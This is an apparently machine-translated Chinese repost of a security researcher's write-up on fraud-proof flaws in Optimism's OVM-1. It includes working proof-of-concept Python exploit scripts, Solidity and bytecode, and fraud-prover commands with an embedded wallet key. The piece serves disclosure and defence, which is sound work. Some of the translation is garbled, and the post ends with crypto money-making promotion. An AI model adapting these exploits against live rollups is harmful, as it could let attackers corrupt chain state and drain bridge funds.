书接上回~Layer2区块链欺诈证明中最出名的两类漏洞的原理以及步骤——时间旅行攻击、现实扭曲攻击

42 阅读28分钟

images.jpg

转载自公众号【链财Web3

大家好,欢迎来到链财Web3,我是链财君,一名经验丰富的Web3开发者,大白话解说前沿的区块链技术原理,第一时间解析web3领域的重大事件和突破性项目,关注我,链财Web3,带你网赚加密货币!

昨天下午公司客户的项目服务器有问题,忙着给人家维护!🫥就没有时间给大家完整的解释时间旅行攻击和现实扭曲攻击的具体逻辑步骤。抱歉图片

上一篇文章中,我们讲解了乐观汇总和欺诈证明的相关概念,这片文章将劲量用大白话和案例,详细解释目前欺诈证明中最出名的两类漏洞——时间旅行攻击现实扭曲攻击

images.jpg

对于乐观汇总类型的Layer2区块链,

在我的研究过程中,我主要关注两种漏洞:

  1. 匿名用户的时间旅行攻击。

  2. 恶意排序器的现实扭曲攻击。

在接下来的部分中,我将演示这两种攻击。

匿名用户的时间旅行攻击

上篇文章所知,证明合法状态转换的欺诈可以实现链恢复和时间旅行。此类攻击风险最高,因为它可以由网络上的任何匿名用户执行。

最简单的一种:存储gas成本差异

OVM-1 由一个 l2geth(用于 L2 执行)和一组 OVM 合约(用于 L1 模拟)组成。两者差异很大的一个地方是状态管理器。例如,OVM_StateManager .sol 以与L2 实现不同的奇特方式实现 L1 的 SSTORE/SLOAD 。因此,任何使用存储的合约的 Gas 行为在 L1 和 L2 之间都会有所不同。ovm_state_manager.go中实现的其他函数也是如此。

可以通过gasleft()直接访问或使用具有 Gas 限制的调用来利用这一点,这只会导致其中之一的 Gas 耗尽恢复。

这是我的第一个防欺诈漏洞,使用了这个简单的合约:

// SPDX-License-Identifier: MIT
pragma solidity >0.6.0 <0.8.0;

contract Evil {
    event Debug(uint256 x);

    uint256 public gas1;
    uint256 public gas2;

    constructor() {
        gas1 = gasleft();
        gas2 = gasleft();
        emit Debug(gas1-gas2);
    }
}

由于存储时消耗的气体,该合约在 L1 和 L2 上发出的数量有所不同gas1。由于 中存储的数字不同,它还会导致不同的状态根gas2

为了利用它,我需要一个欺诈证明器来模拟 L1 上的交易。不幸的是,存储库中的欺诈证明者将状态根与 l2geth 报告的状态根进行了比较,因此不会触发 L1 模拟。我对其进行了修补以接受 FORCE_BAD_ROOT 环境变量,使其“看到”指定块号中的不同状态根,并尝试在 L1 上证明它。这个修补过的证明器用于下面的所有演示。

实际利用:

#!/usr/bin/env python3

# Create a simple contract that saves gas() to storage.  Storage gas behaves differently on L1 and on L2, resulting in a successful fraud proof.

bytecode="0x60806040523480156100195760008061001661008a565b50505b505a600081906100276100f8565b5050505a600181906100376100f8565b5050507f8a36f5a234186d446e36a7df36ace663a05a580d9bea2dd899c6dd76a075d5fa600161006561015d565b600061006f61015d565b036040518082815260200191505060405180910390a16101c0565b632a2a7adb598160e01b8152600481016020815285602082015260005b868110156100c55780860151816040840101526020810190506100a7565b506020828760640184336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b505050565b6322bd64c0598160e01b8152836004820152846024820152600081604483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b60005b60408110156101585760008183015260208101905061013e565b505050565b6303daa959598160e01b8152836004820152602081602483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b8051935060005b60408110156101bb576000818301526020810190506101a1565b505050565b610174806101cf6000396000f3fe6080604052348015610019576000806100166100a3565b50505b506004361061003f5760003560e01c806351c4bb971461004d578063ffe20fb41461006b575b60008061004a6100a3565b50505b610055610089565b6040518082815260200191505060405180910390f35b610073610096565b6040518082815260200191505060405180910390f35b6001610093610111565b81565b60006100a0610111565b81565b632a2a7adb598160e01b8152600481016020815285602082015260005b868110156100de5780860151816040840101526020810190506100c0565b506020828760640184336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b505050565b6303daa959598160e01b8152836004820152602081602483336000905af158600e01573d6000803e3d6000fd5b3d6001141558600a015760016000f35b8051935060005b604081101561016f57600081830152602081019050610155565b50505056"
abi=[{'inputs': [], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'anonymous': False, 'inputs': [{'indexed': False, 'internalType': 'uint256', 'name': 'x', 'type': 'uint256'}], 'name': 'Debug', 'type': 'event'}, {'inputs': [], 'name': 'gas1', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'gas2', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}]

from web3.auto.http import w3
from eth_abi.packed import encode_single_packed
from eth_abi import encode_abi
import eth_account.messages
from web3.middleware import geth_poa_middleware

w3.middleware_onion.inject(geth_poa_middleware, layer=0)
w3.provider.endpoint_uri = 'http://localhost:8545/'

def attack0():
  evil=w3.eth.contract(abi=abi, bytecode=bytecode)
  t = evil.constructor().buildTransaction({'value': 0, 'gas': 1999999, 'gasPrice': 0, 'chainId': 420, 'nonce': 0})
  acct = w3.eth.account.create()
  rcpt = w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(acct.signTransaction(t).rawTransaction))
  block = rcpt['blockNumber']
  print(f"Evil contract: {rcpt['contractAddress']}")
  cmd=f"ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX={block-1} FORCE_BAD_ROOT={block} exec/run-fraud-prover.js"
  print(cmd)

attack0()

成功的欺诈证明输出可以在这里看到。底部标记的部分表明它产生了不同的状态根,因此欺诈证明是成功的。

绕过白名单部署者:非合约攻击

当我研究 OVM-1 欺诈证明时,OVM 已经作为 Synthetix 特定链(参见下面的时间表)在主网上上线,但方式有限。乐观是明智的,为 Synthetix 链和后来的主网软启动使用多层防御。第一道防线是白名单部署者,防止未经授权的用户部署合约。因此,上面的简单漏洞在主网上不起作用。我决定将研究重点放在不部署合约的情况下突破 OVM,以突破第一道防线。这意味着找到可以通过正常(非创建)交易触发欺诈证明的系统合约。

最简单的一个是反对 OVM 创新的帐户抽象。OVM 使用模拟 EOA 行为的ECDSA 合约取代了 EOA。这是账户抽象的一个很好的实现,但它也引入了一个漏洞。

通常,当 EOA 发送低于最低 Gas 的交易时,该交易不会被挖掘,链状态也不会受到影响。但通过账户抽象,所需的最低 Gas 值要高得多,如果 Gas 值介于 L1 最小值和 L2 最小值之间,则恢复会在链上发生。任何有足够 Gas 来应用(约 25000)但不足以完全执行 ECDSA 合约(没有数据的简单交易为 539745)的交易最终在 L1 和 L2 上的行为会有所不同。

在 L2 上,EVM 将其捕获为帐户级别的恢复。Nonce 不增加,gas 费用不转移。在 L1 上,费用转移和随机数增加成功,实际调用失败,因为这是欺诈证明模拟应用用户指定的 Gas 限制的地方。

因此,L1(欺诈证明)状态发生了变化,但在 L2 中交易没有影响,因此尽管链在进行,但 L2 状态根仍与前一批相同,这是永远不应该发生的事情。

该漏洞很简单,只需发送一笔 Gas 限额为 25000 的空交易,然后提交欺诈证明:

#!/usr/bin/env python3

# The simplest attack so far.  Any transaction that has enough gas to apply (~25000) but not enough to fully execute (539745 for a simple transaction with no data, ends up behaving differently on L1 and L2.
# On L2 evm catches it as a revert, so the entire transaction reverts.  Nonce is not increased, and ERC20 gas is not transferred.
# On L1 the fee transfer and nonce increase succeed, the actual call fails (that's where the transaction gas limit applies) but the revert is in a library and is returned as a status rather than revert.  Status is not checked, so nonce ends up increased despite the call's revert.

import sys
from web3.auto.http import w3
from eth_abi.packed import encode_single_packed
from eth_abi import encode_abi
import eth_account.messages
import json
import time
from web3.middleware import geth_poa_middleware

w3.middleware_onion.inject(geth_poa_middleware, layer=0)
w3.provider.endpoint_uri = 'http://localhost:8545/'

# 24000 no transaction
# 25000 works - 1
# 530000 works - 1
# 540000 fails - 2
def attack3(account1,gas=25000):
  print(account1.address)
  tx = w3.eth.sendRawTransaction(account1.signTransaction({'value': 0, 'gas': 1000000, 'gasPrice': 0, 'chainId': 420, 'data': '', 'to': '0x2222222222222222222222222222222222222222', 'nonce': w3.eth.getTransactionCount(account1.address)}).rawTransaction)  # deploy EOA if not there yet
  w3.eth.wait_for_transaction_receipt(tx)
  nonce = w3.eth.getTransactionCount(account1.address)
  tx = w3.eth.sendRawTransaction(account1.signTransaction({'value': 0, 'gas': gas, 'gasPrice': 0, 'chainId': 420, 'data': '', 'to': '0x2222222222222222222222222222222222222222', 'nonce': w3.eth.getTransactionCount(account1.address)}).rawTransaction)
  try:
    w3.eth.wait_for_transaction_receipt(tx,5)
  except:
    print("Failed: not enough gas")
    return
  if w3.eth.getTransactionCount(account1.address) > nonce:
    print("Failed: too much gas - nonce incremented")
  else:
    block = w3.eth.getBlock('latest')['number']
    cmd=f"ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX={block-1} FORCE_BAD_ROOT={block} exec/run-fraud-prover.js"
    print(f"Success!  Run fraud prover:\n\n{cmd}")

if len(sys.argv) > 1:
  gas = int(sys.argv[1])
else:
  gas = 25000
attack3(w3.eth.account.create(),gas=gas)

成功的欺诈证明输出可在此处获得。

绕过gas保护:嵌套事务

2021 年 4 月,我提取了最新的 OVM 版本(标签 v0.2.0),发现非合约、基于 Gas 的漏洞已停止工作。这让我感到惊讶,因为在单轮欺诈证明系统中修复天然气计算似乎几乎是不可能的。仔细观察发现,排序器刚刚开始忽略用户指定的 Gas 限制,并将其硬编码为 9000000,这消除了我之前实施的一整类与 Gas 相关的攻击。

为了修复我的漏洞,我需要它们在不依赖于我自己指定的 Gas 限制的情况下工作。幸运的是,账户抽象再次帮了我的忙。

ECDSA 合约通常由定序器调用,但没有什么可以阻止它被其他合约调用,甚至可以在嵌套调用中被自身调用。只要内部调用包含此类 EOA 仿真的 ECDSA 签名,它就可以从该帐户进行调用。这使得一些有趣的交易成为可能,例如多次增加随机数的交易,或者在同一交易中增加多个账户的随机数。

顺便说一句,交易嵌套还允许在欺诈证明期间从辅助 EOA 创建合约,而无需经过检查,ovmCREATE从而允许创建的合约突破沙箱,而相同的创建将由于检查而在 L2 上ovmCREATE失败。这种攻击很复杂,因此我们将在这篇文章中讨论更简单的攻击。

我使用嵌套来修复上述_ovm_exploit3.py_,制作涉及多个帐户的多层交易。给定足够多的层,一个随机数在 L1 和 L2 上的表现会有所不同:

#!/usr/bin/env python3

# Variation that bypasses the 9000000 hardcoded gas limit by sending a multi-layer transaction, abusing the OVM account abstraction.  Each EOA sends a signed transaction to another EOA.
# Generate multiple accounts - one for each layer.  Send a multi-layer transaction that increases all their nonces.
# Given enough layers, one will behave differently on L1 and on L2, resulting in a different nonce.

from web3.auto.http import w3
from eth_abi.packed import encode_single_packed
from eth_abi import encode_abi
import eth_account.messages
from web3.middleware import geth_poa_middleware

w3.middleware_onion.inject(geth_poa_middleware, layer=0)
w3.provider.endpoint_uri = 'http://localhost:8545/'

abi=[{'inputs': [{'internalType': 'bytes', 'name': '_transaction', 'type': 'bytes'}, {'internalType': 'enum Lib_OVMCodec.EOASignatureType', 'name': '_signatureType', 'type': 'uint8'}, {'internalType': 'uint8', 'name': '_v', 'type': 'uint8'}, {'internalType': 'bytes32', 'name': '_r', 'type': 'bytes32'}, {'internalType': 'bytes32', 'name': '_s', 'type': 'bytes32'}], 'name': 'execute', 'outputs': [{'internalType': 'bool', 'name': '_success', 'type': 'bool'}, {'internalType': 'bytes', 'name': '_returndata', 'type': 'bytes'}], 'stateMutability': 'nonpayable', 'type': 'function'}]

def to_32byte(val):
  return w3.toBytes(val).rjust(32, b'\0')

def wrap_transaction(inner_acct,inner_transaction,gas):
  if type(inner_transaction['data']) == str and inner_transaction['data'].startswith('0x'):
    inner_transaction['data'] = int(inner_transaction['data'],16)
  inner_message = encode_abi(["uint256", "uint256", "uint256", "uint256", "address" ,"bytes"],[inner_transaction['nonce'],inner_transaction['gas'],inner_transaction['gasPrice'],inner_transaction['chainId'],inner_transaction['to'],w3.toBytes(inner_transaction['data'])])
  message = eth_account.messages.SignableMessage(version=b'\x19',header=b"Ethereum Signed Message:\n32",body=w3.toBytes(inner_message))
  body_hashed_as_bytes = eth_account.messages.keccak(inner_message)
  signed_message = inner_acct.signHash(w3.toHex(eth_account.messages.keccak(encode_single_packed('(bytes,bytes32)',[message.version+message.header,body_hashed_as_bytes]))))
  eoacon = w3.eth.contract(address=inner_acct.address,abi=abi)
  execute_call_transaction = eoacon.functions.execute(inner_message,1,signed_message.v-27,to_32byte(signed_message.r),to_32byte(signed_message.s)).buildTransaction({'gasPrice':0})
  execute_call_transaction['nonce'] = 1
  execute_call_transaction['gas'] = gas
  execute_call_transaction['gasPrice'] = 0
  return execute_call_transaction

accounts = []

def add_acct():
  new_acct = w3.eth.account.create()
  w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(new_acct.signTransaction({'value': 0, 'gas': 100000, 'gasPrice': 0, 'chainId': 420, 'data': '', 'to': '0x2222222222222222222222222222222222222222', 'nonce': w3.eth.getTransactionCount(new_acct.address)}).rawTransaction))  # deploy EOA if not there yet
  print(new_acct.address)
  accounts.append(new_acct)
  return new_acct

def add_layer(transaction,gas):
  new_acct = add_acct()
  return wrap_transaction(new_acct,transaction,gas)

def finalize_transaction(transaction):
  new_acct = add_acct()
  return new_acct.signTransaction(transaction).rawTransaction

def attack5(gas=500000,layers=13,padding=0):
  inner_transaction = {'value': 0, 'gas': 1999999, 'gasPrice': 0, 'chainId': 420, 'data': b'\x00'*padding, 'to': '0x0000000000000000000000000000000000000001', 'nonce': 1}
  t = inner_transaction
  while(layers > 0):
    layers = layers - 1
    t = add_layer(t,gas)
  final_transaction = finalize_transaction(t)
  w3.eth.wait_for_transaction_receipt(w3.eth.sendRawTransaction(final_transaction))
  block = w3.eth.getBlock('latest')['number']
  cmd=f"ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX={block-1} FORCE_BAD_ROOT={block} exec/run-fraud-prover.js"
  print(cmd)

attack5()

成功的(虽然很长)欺诈证明输出可在此处找到。

我在匿名非合约类别中实现了更多的漏洞利用,但希望上面的漏洞充分说明单轮欺诈证明很难确保安全。

这些漏洞中的任何一个都可能被用于时间旅行攻击。

恶意排序器的现实扭曲攻击

无法证明的恶意状态转换可能会改变链上的现实。如果无法模拟合法交易,恶意定序器可能会滥用它来进行任意状态更改,例如将桥中的全部 L1 流动性铸造到 L2 上的自身,并开始提取到 L1。这只能由目前获得许可的定序器操作员以拉拉的形式利用,但当汇总分散时,它可能会成为一个主要问题。

无法证明的欺诈:滥用防欺诈气体检查

在欺诈证明的最后阶段,证明者必须调用OVM_StateTransitioner.applyTransaction来模拟交易。状态转换器执行某些检查,例如此气体检查,如果不满足条件,则状态转换器会恢复状态。

此外,OVM_ExecutionManager.runcalled byOVM_StateTransitioner.applyTransaction实际上调用用户交易的Gas 量少于用户指定的金额。

如果有效的 L2 事务使得无法在不恢复的情况下在 L1 上完成applyTransaction,则定序器将能够证明任意状态根。每个人都可以看出它是错误的,但不可能在链上证明它并撤销它。定序器可以利用这一点,自己铸造任意数量的 L2 代币,然后通过规范桥将它们发送到 L1,从而有效地耗尽桥的资源。

OVM 试图通过限制 Gas来防止这种情况,但是这个限制应用得太晚了,OVM_ExecutionManager.run所以它没有考虑 calldata 的大小。因此,可以创建一个使用略低于最大 Gas 的交易,但也有 calldata 填充,由于主网区块 Gas 限制,无法在 L1 上进行模拟。期间的 Gas 检查applyTransaction将始终针对此类交易恢复,因为即使 L1 交易以与gasleft()区块 Gas 限制一样高的价格开始,它仍然不会满足_(gasleft() >= 100000 + _transaction.gasLimit * 1032 / 1000),_因为预先产生的通话数据费用。

利用此漏洞的一个简单方法是使用上述嵌套事务漏洞并指定一个大padding值。我不会重复几乎相同的代码(为了完整性起见,可在此处查看),但这里是失败的欺诈证明尝试。此输出中的重要部分是最后的恢复:“没有足够的气体来确定性地执行交易。”这使得欺诈证明无法完成。

此类漏洞表明了一个重要的观点:如果欺诈证明变得过于复杂,它们可能会使完全去中心化的风险太大。如果恶意定序器可以进行无法证明的状态转换,则它可能会破坏并拉动整个汇总。

欺诈证明的安全检查不应少于正常执行的安全检查,但也不应进行更多的安全检查。它们的行为必须相同。

时间轴:我是如何开始探索时间旅行的

下载.jpg

自从我第一次听说 EVM 欺诈证明并意识到它们被滥用时所具有的时间旅行潜力以来,我就对它很着迷。我之前在自己的设计中使用了欺诈证明,例如在 GSN 中,但将欺诈证明应用于任意代码是一个不同的级别。Arbitrum于 2015 年率先提出了这一想法,但并未在 L1 上模拟完整的执行。

2021 年 1 月 16 日,Optimism宣布主网即将推出,我很好奇他们如何解决单轮欺诈证明的令人难以置信的复杂性,所以我必须仔细观察。

Optimism 计划于 2021 年 4 月在主网上线,但后来我意识到它已经在主网上出现了Synthetix 的应用程序专用链,在推出后不久就通过其L2 桥抵押了价值超过 1 亿美元的 SNX。这增加了我的好奇心。接下来的两个月我全职深入挖掘这个平台。

在这项研究过程中,我发现了一些漏洞并实施了概念验证漏洞,例如本文中的漏洞。

由于资金已经面临风险,因此负责任的披露非常重要。当时没有乐观赏金(他们现在有一个很棒的赏金),而且我不了解这个团队,所以我不确定如何安全地报告问题。最后,2021 年 4 月,Vitalik 将我介绍给了 Optimism 团队(谢谢!),我们进行了一次长时间的电报聊天,然后进行了 Zoom 通话,讨论 OVM 安全模型。该团队非常细心和透明,我真的很喜欢与志同道合的研究人员讨论欺诈证明安全性。

OVM-1 欺诈证明在主网上被禁用,消除了所有相关风险。即将以更好的形式启用 - Cannon!

我还想借此机会感谢 Optimism 为我的安全研究提供的追溯资助。追溯赠款非常适合支持研究。

单轮与交互式欺诈证明

欺诈证明可以通过两种方式实现:单轮模拟或交互式验证游戏。前者实现起来比较简单,但如上所示,具有一定的安全性和可用性缺点。

在单轮证明中,证明者重建欺诈交易之前的最后一个良好状态的所需子集,根据最后一个良好交易的状态根证明它,然后在单个交易中模拟整个欺诈交易。Optimism 在OVM-1中实现了这种方法。

在交互式证明中,证明者和定序器进行验证游戏,证明执行情况。当他们达到分歧点时——一条指令的结果不同——他们只需要在链上模拟该指令,使用其输入并比较其输出。大部分验证发生在链下,但有链上机制来确保双方及时参与。Arbitrum 在 AVM 中实现了这种方法,如此处所述,而 Optimism 则使用 Cannon在 OVM-2 中实现了该方法。

单轮证明的攻击面明显更大。合约的状态机由整个执行的交易组成,因此可能的状态数量仅受 EVM 中可能的执行流数量的限制。EVM 的所有复杂性和极端情况都会发挥作用。另一方面,交互式证明仅模拟单个操作码,因此状态数量受到架构操作码及其可能输入的数量的限制。例如,Arbitrum 的OneStepProof.sol只需要证明 79 个操作码——可能小到足以实现状态机的完整测试覆盖。

单轮证明还对交易使用的 Gas 施加了限制,因为它需要在另一笔交易中进行模拟。这引入了可用性问题,例如限制合约大小以及无法执行 L1 上可能的某些 EVM 流程。在 OVM-2 中乐观地切换到交互式证明可以实现 EVM 等价,而这在 OVM-1 中是不可能的。出于多种原因,该开关是正确的设计选择。

本文中演示的漏洞是针对 OVM-1 实施的。截至撰写本文时,尚未发布未修补的 OVM-2 漏洞。

Cannon:OVM-2 故障证明

Optimism 最近发布了 Cannon,这是由 geohot 构建的交互式故障证明(以前称为欺诈证明)实现。

我不会在这里完全解释它,因为 Ben 比我解释得更好,但总体想法是根本没有单独的 EVM 实现,这是本文中描述的所有漏洞的根本原因。相反,它以交互方式证明 MIPS 指令集的子集,并编译实现 EVM 状态转换的 geth(又名 minigeth)子集。因此,在 L2 中运行的 EVM(在 l2geth 中实现)的行为应该与在 L1 上验证的 EVM 完全相同。

Cannon 使用 MIPS 操作码的子集,只需证明minigeth 使用的55 个操作码,使其状态机足够小,可以进行完整的测试覆盖、有效的模糊测试以及可能的形式验证。

新架构使 OVM-2 严格优于 OVM-1:EVM 等效、由于切换到交互式证明而导致的攻击面最小化、与 geth 的差异最小化,从而降低了 L1 和 L2 执行环境之间存在差异的风险。

转向交互式证明需要研究新的攻击向量。例如,确保双方及时参与挑战赛的机制设计和实施必须仔细审查。

有趣的是,Arbitrum 致力于下一代Nitro架构已经有一段时间了,它似乎以同样的方式工作:它删除了 AVM 并将 geth 状态转换代码编译为 WASM(与 Truebit 做出的架构选择相同)。目前尚未实现,但似乎这两个项目最终都会使用类似的证明系统。我期待着探索和比较两者。

桥梁:注意事项

如果欺诈证明在主网上被利用,主要受害者可能是_Fast Bridges_。这些桥梁的流动性提供者有效地确保其用户免受滥用欺诈证明系统的攻击。因此,建议这些项目采取一些预防措施来保护其流动性:

  1. 限制可用流动性以限制风险。例如,避免MakerDAO 提出的“无限流动性” ,在 L1 上铸造无限的 DAI。像上面演示的攻击可能会导致严重的抵押不足并使协议面临风险。我希望 Wormhole 团队考虑对 L1 侧实施限制。

  2. 在桥接预言机上运行真正的欺诈证明器,完全尝试对主网分叉上的任何交易进行欺诈证明。它比仅仅观察 L2 状态(如 OVM-1 欺诈证明者所做的那样)的计算成本更高,并且需要对所有 L2 交易执行此操作,而不仅仅是与桥相关的交易。但它可以阻止上述所有攻击和任何形式的时间旅行攻击,以及现实扭曲攻击。链条仍会回滚或改变,但桥梁会立即冻结,因此不会损失任何资金。

  3. 考虑防欺诈保险。损失可以在链上证明,使链上保险索赔变得容易。也许像Nexus Mutual这样的项目可以为流动性提供者提供一些保证。

欺诈证明的未来

乐观汇总正在汇聚到基于 geth 的 EVM 实现和 geth 执行的交互式证明。希望Cannon和Nitro都能在接下来的几个月内上线。随后,攻击面将变得更小并且更容易保护。

赏金将激励安全研究,不仅是在汇总桥上,而且还包括防欺诈安全性。Optimism 已经开始为 Cannon 提供5 万美元的赏金(我希望当 Cannon 合并到 OVM-2 时,他们最终会合并到200 万美元的赏金中),Arbitrum也为他们的欺诈证明提供了100 万美元的赏金。享受探索时间旅行的乐趣并赚钱!

随着 Optimistic rollups 的成熟,增加_Fast Bridges_的流动性将变得更加安全。

在更遥远的未来,也许我们会看到乐观的汇总使用其欺诈证明的多种实现来提高安全性。这类似于以太坊的多客户端方法,其中单个客户端中的错误不太可能导致共识失败。社区可以开发 L1 EVM 证明器的多种实现,并且汇总可以在经过充分测试后选择使用其中的一些。单个欺诈证明实现的失败,而其他实现认为状态转换是有效的,将导致删除有缺陷的实现,而不是 L2 链恢复。找到一个对多个防欺诈实施具有类似作用的漏洞比攻击任何一个实施要困难得多。

结论

这篇长文阐述了为什么欺诈证明可能存在风险以及如何利用它们。它还讨论了降低风险的方法,并展望了乐观汇总的未来。

我的希望是提高认识并吸引安全研究和资源,以确保防欺诈安全并防止有风险的时间旅行。

ezgif.com-webp-to-jpg (5).jpg

关注我,链财Web3,带你网赚加密货币!

我目前的工作是在位于深圳滨海之窗的一家区块链互联网公司打螺丝,如果你对区块链项目有兴趣可以私我加群或直接+ChainRichWeb3找我一哈